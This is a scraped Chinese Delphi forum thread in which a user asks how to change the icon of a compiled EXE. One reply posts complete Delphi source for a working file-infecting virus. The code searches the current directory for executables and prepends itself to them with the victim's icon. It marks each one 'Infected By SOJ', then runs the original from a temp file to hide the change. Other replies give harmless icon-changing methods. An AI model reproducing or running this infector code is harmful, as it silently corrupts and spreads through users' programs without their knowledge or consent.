社区
Windows SDK/API
帖子详情
问侠客: 如何动态改变EXE文件的图标?
lxtnt
2003-09-10 08:42:05
大侠:
如何动态改变EXE文件的图标?[已编译的EXE]?
如有一个*.exe文件和一个IX.ICO文件,如何替换*.EXE文件中原有的图标为IX.ICO图标?
用原生delphi实现。
...全文
122
3
打赏
收藏
问侠客: 如何动态改变EXE文件的图标?
大侠: 如何动态改变EXE文件的图标?[已编译的EXE]? 如有一个*.exe文件和一个IX.ICO文件,如何替换*.EXE文件中原有的图标为IX.ICO图标? 用原生delphi实现。
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
3 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
crossbow
2003-09-11
打赏
举报
回复
这个可以,我试过的。
Exe文件的修改
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
//Code here:
//headerprj.dpr
program headerprj;
uses
Windows,Classes,SysUtils,Graphics,ShellAPI;
const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG='Infected By SOJ';
ID=$66666666;
{$R *.RES}
var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;
//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}
function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline[i]<>chr(0) do
begin
if cmdline[i]<>'"' then
begin
myname[j]:=cmdline[i];
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}
function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,'PQR',0,@tmpName);
Result:=StrPas(@tmpName);
end;{GetTempFullName}
procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;
procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;
function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename='headerprj.exe' then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead);
srcStream.Seek(-4,2);
srcStream.Read(iID,4);
if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free;
try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;
srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create;
CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);
dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4);
finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;
//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
end.
ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
naughtyboy
2003-09-11
打赏
举报
回复
上面是用别的工具替换图标
另外还有一种方法能临时改变图标,但不是永久改变
当程序再次运行的时候,图标还会变为原来的样子
var
ico: TIcon;
begin
ico := TIcon.Create;
try
ico.LoadFromFile('E:\hlp.ico');
SendMessage(handle,WM_SETICON,0,LPARAM(ico));
finally
ico.Free;
end;
end;
hansome
2003-09-11
打赏
举报
回复
用exescope啊
用程序实现的话
要非常了解PE格式
政府科技管理者如何精准评估区域科技创新短板?.docx
科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。
YOLO淡水水域鱼类目标检测数据集-7480张-fish-3do7i-fish-rlea0-v1-7480
下方展示数据集可视化效果,供参考。 YOLO淡水水域鱼类目标检测数据集 目标类别:['Abramis brama', 'Acipenseridae', 'Anguilla anguilla', 'Aspius aspius', 'Barbus barbus', 'Blicca bjoerkna', 'Carassius carassius', 'Carassius gibelio', 'Ctenopharyngodon idella', 'Cyprinus carpio', 'Esox lucius', 'Gasterosteus aculeatus', 'Gobio gobio', 'Gymnocephalus cernuus', 'Lepomis gibbosus', 'Leuciscus cephalus', 'Leuciscus idus', 'Leuciscus leuciscus', 'Neogobius fluviatilis', 'Neogobius kessleri', 'Neogobius melanostomus', 'Perca fluviatilis', 'Rhodeus amarus', 'Rutilus rutilus', 'Salmo trutta subsp- fario', 'Sander lucioperca', 'Scardinius erythrophthalmus', 'Silurus glanis', 'Tinca tinca', 'Vimba vimba'] 中文类别:['欧鳊', '鲟科鱼类', '欧洲鳗鲡', '欧白鱼', '欧雅罗鱼', '红鳍鲌', '鲫鱼', '镜鲤', '鳙鱼', '鲤鱼', '梭子鱼', '刺鱼', '小鰕虎鱼', '银鮈', '太阳鱼', '头鲈', '雅罗鱼', '白条鱼', '河口鰕虎鱼',
产业园区运营方如何挖掘潜在合作单位和推动跨区域协同创新?.docx
科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。
Windows SDK/API
1,184
社区成员
22,326
社区内容
发帖
与我相关
我的任务
Windows SDK/API
Delphi Windows SDK/API
复制链接
扫一扫
分享
社区描述
Delphi Windows SDK/API
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章